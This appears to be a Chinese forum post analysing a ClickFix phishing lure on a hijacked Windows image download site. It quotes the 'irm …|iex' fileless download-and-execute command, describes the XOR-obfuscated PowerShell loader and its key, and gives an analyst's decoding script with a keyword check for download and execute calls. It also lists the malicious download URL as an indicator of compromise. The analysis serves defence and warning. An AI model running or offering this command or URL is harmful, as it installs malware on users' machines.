clickfix钓鱼！镜像下载站https://hellowindows.cn/被劫持跳转钓鱼网站人....

skywalker0123

一台电脑只触发一次跳转，目前不知道是否修复windows一个镜像下载站https://hellowindows.cn/被劫持跳转钓鱼网站人机验证
输入该网站跳出一个奇怪的人机验证
后台Burp抓包发现被重定向到一个特殊域名，这几个域名微步显示通信样本1K+，几乎可以断定不正常


接下来看看骗局如何展开：点击我不是机器人认证，跳出让你按住WIN+R输入一段命令检测是否为真人
为irm下载命令，命令内容：(irm 'https://xxx（防止误点击隐藏域名）.com/ae8ouxb9gx/9fb9e50568c2d208')|iex：试图下载一段十六进制字符所标志的资源，并且通过iex不保存文件，直接在powershell中尝试运行，也就是无文件落地的木马，内存加载。获得一个命令文件
开头解出后续XOR的密钥$xpy9n = "1c29d4d0"
$ywtg=(-join@((-join[char[]]@(49,99)),([string]::Join('',[char[]](50,57,100))),'4d0'))
$xpy9n=$ywtg
中间添加了大量噪声，试图干扰人工分析。然后用多个操作拼接字符串，格式化拼接，最后$cccqf=$s5yr+$g28yi+$ii4v+$uxb+... +$tgptx拼成十六进制长字符串，而后解密循环。大致伪代码如下：
hex串 = 拼接得到的长十六进制字符串
key = "1c29d4d0"
对 hex串 每两个字符取一个字节：
    明文字节 = hex字节 XOR key[当前索引 % 8]
把所有明文字节转成字符并拼接
得到 $rnvc5
最终使用[ScriptBlock]::Create($rnvc5)执行脚本块，很有可能是加载shellcode
编写解密脚本

# ============================================================
# data.txt 解密脚本
# 作用：读取 data.txt（XOR 混淆的 PowerShell 加载器），
#       只执行解密逻辑，输出明文脚本，不执行明文载荷。
# 环境：隔离虚拟机、断网、快照。不要在生产机运行。
# ============================================================

$ErrorActionPreference = 'Stop'

$dataFile   = Join-Path (Get-Location) 'data.txt'
$outputFile = Join-Path (Get-Location) 'decoded_payload.txt'

if (-not (Test-Path $dataFile)) {
    throw "找不到 data.txt：$dataFile"
}

$content = Get-Content -Path $dataFile -Raw -Encoding UTF8

# 定位解密完成标记
$marker = '$rnvc5=(-join $ta39d)'
$idx = $content.IndexOf($marker, [StringComparison]::OrdinalIgnoreCase)
if ($idx -lt 0) {
    throw "data.txt 中未找到标记 '$marker'。请确认 data.txt 是完整的混淆加载器文本。"
}

# 只保留到解密完成为止，丢掉后面的执行行
$head = $content.Substring(0, $idx + $marker.Length)

# 安全尾部：只输出，不执行
$newTail = @'
;
$outPath = '__OUT__'
$rnvc5 | Out-File -FilePath $outPath -Encoding UTF8
Write-Host '[+] 解码完成:' $outPath -ForegroundColor Green
Write-Host '[+] 明文字符数:' $($rnvc5.Length) -ForegroundColor Green
Write-Host '[+] 前 800 字符预览:' -ForegroundColor Yellow
Write-Host $rnvc5.Substring(0, [Math]::Min(800, $rnvc5.Length))
'@
$newTail = $newTail.Replace('__OUT__', $outputFile)

$safeScript = $head + $newTail

# 安全检查：head 中不应有执行/下载关键字
$suspicious = @('ScriptBlock','::Create','iex','Invoke-Expression',
                'Invoke-WebRequest','Invoke-RestMethod','DownloadString',
                'DownloadFile','Net.WebClient')
foreach ($kw in $suspicious) {
    if ($head.IndexOf($kw, [StringComparison]::OrdinalIgnoreCase) -ge 0) {
        Write-Warning "head 部分发现可疑关键字：$kw —— 请人工检查后再运行"
    }
}

$oldProgress = $ProgressPreference
$oldError    = $ErrorActionPreference

try {
    Invoke-Expression $safeScript
}
finally {
    $ProgressPreference = $oldProgress
    $ErrorActionPreference = $oldError
}

if (Test-Path $outputFile) {
    $len = (Get-Item $outputFile).Length
    Write-Host ''
    Write-Host "[+] 明文已保存：$outputFile（$len 字节）" -ForegroundColor Cyan
    Write-Host '[+] 请用记事本打开检查，搜索以下关键字判断第二阶段行为：' -ForegroundColor Yellow
    Write-Host '    Invoke-WebRequest / Invoke-RestMethod / DownloadString / DownloadFile'
    Write-Host '    VirtualAlloc / Marshal.Copy / CreateThread / FromBase64String'
    Write-Host '    http:// / https://'
}

这是其中一个版本解密数据，疑似会有多种分发方式分发不同的恶意脚本，注意别运行。
防骗原则：遇到让你cmd或者win+r运行irm等命令的都先等等，不会就去问AI

skywalker0123

补充IOC：https://trustchecknes.com/ae8ouxb9gx/9fb9e50568c2d208恶意下载链接。
以及上述提到的域名。